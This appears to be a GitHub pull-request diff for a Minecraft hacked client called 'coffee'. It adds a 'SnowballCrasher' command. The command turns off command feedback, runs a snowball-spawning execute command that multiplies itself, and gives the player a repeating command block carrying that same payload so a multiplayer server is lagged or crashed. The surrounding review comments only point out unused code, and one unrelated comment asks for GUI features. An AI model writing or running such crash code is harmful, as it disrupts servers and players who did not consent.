Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -53,6 +53,7 @@
import coffee.client.feature.command.impl.Toggle;
import coffee.client.feature.command.impl.VClip;
import coffee.client.feature.command.impl.ViewNbt;
import coffee.client.feature.command.impl.SnowballCrasher;
import coffee.client.helper.util.Utils;

import java.util.ArrayList;
Expand Down Expand Up @@ -139,6 +140,7 @@ public static void init() {
vanillaCommands.add(new ApplyEffect());
vanillaCommands.add(new BaritoneCommand());
vanillaCommands.add(new Search());
vanillaCommands.add(new SnowballCrasher());

rebuildSharedCommands();
}
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,60 @@
package coffee.client.feature.command.impl;

import coffee.client.CoffeeMain;
import coffee.client.feature.command.Command;
import coffee.client.feature.command.argument.PlayerFromNameArgumentParser;
import coffee.client.feature.command.coloring.ArgumentType;
import coffee.client.feature.command.coloring.PossibleArgument;
import coffee.client.feature.command.coloring.StaticArgumentServer;
import coffee.client.feature.command.exception.CommandException;
import net.minecraft.entity.player.PlayerEntity;
import net.minecraft.item.ItemStack;
import net.minecraft.item.Items;
import net.minecraft.nbt.StringNbtReader;
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;

import java.util.Objects;

import static coffee.client.CoffeeMain.client;
import static coffee.client.helper.util.Utils.Logging.message;

public class SnowballCrasher extends Command {

public SnowballCrasher() {
super("SnowballCrasher", "Crash the server by placing a command block that crashes the server when a snowball is thrown", "crash", "snowballcrasher");
}

@Override
public PossibleArgument getSuggestionsWithType(int index, String[] args) {
return StaticArgumentServer.serveFromStatic(
index,
new PossibleArgument(
ArgumentType.PLAYER,
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

isn't used

() -> Objects.requireNonNull(client.world)
.getPlayers()
.stream()
.map(abstractClientPlayerEntity -> abstractClientPlayerEntity.getGameProfile().getName())
.toList()
.toArray(String[]::new)
)
);
}

@Override
public void onExecute(String[] args) throws CommandException {
validateArgumentsLength(args, 1, "Provide target player");
PlayerEntity target = new PlayerFromNameArgumentParser(true).parse(args[0]);
String targetName = " ";
Comment on lines +45 to +47
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

isn't used

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hi, I have two feature requests:

1.Could you add caching to the ClickGUI? Right now, when I change the GUI layout and re-open the game, it resets. It would be great if the layout could be saved.

2.Could you add a reverse build option to AutoLavacast? That would make building a lot easier.
I might be able to create an addon for reverse lavacast myself, but I don’t know how to handle ClickGUI layout caching. Thanks for considering!

client.getNetworkHandler().sendCommand("gamerule sendCommandFeedback false");
client.getNetworkHandler().sendCommand("execute at @e[type=snowball] run summon minecraft:snowball ~ ~ ~");
ItemStack stack = new ItemStack(Items.REPEATING_COMMAND_BLOCK, 1);
try {
stack.setNbt(StringNbtReader.parse(
"{BlockEntityTag:{Command:\"/execute at @e[type=snowball] run summon minecraft:snowball ~ ~ ~\",powered:0b,auto:1b,conditionMet:1b}}"));
} catch (Exception e) {
e.printStackTrace();
}
client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(36 + client.player.getInventory().selectedSlot, stack));
message("Place the command block to keep lagging the server when a snowball is thrown");
}
}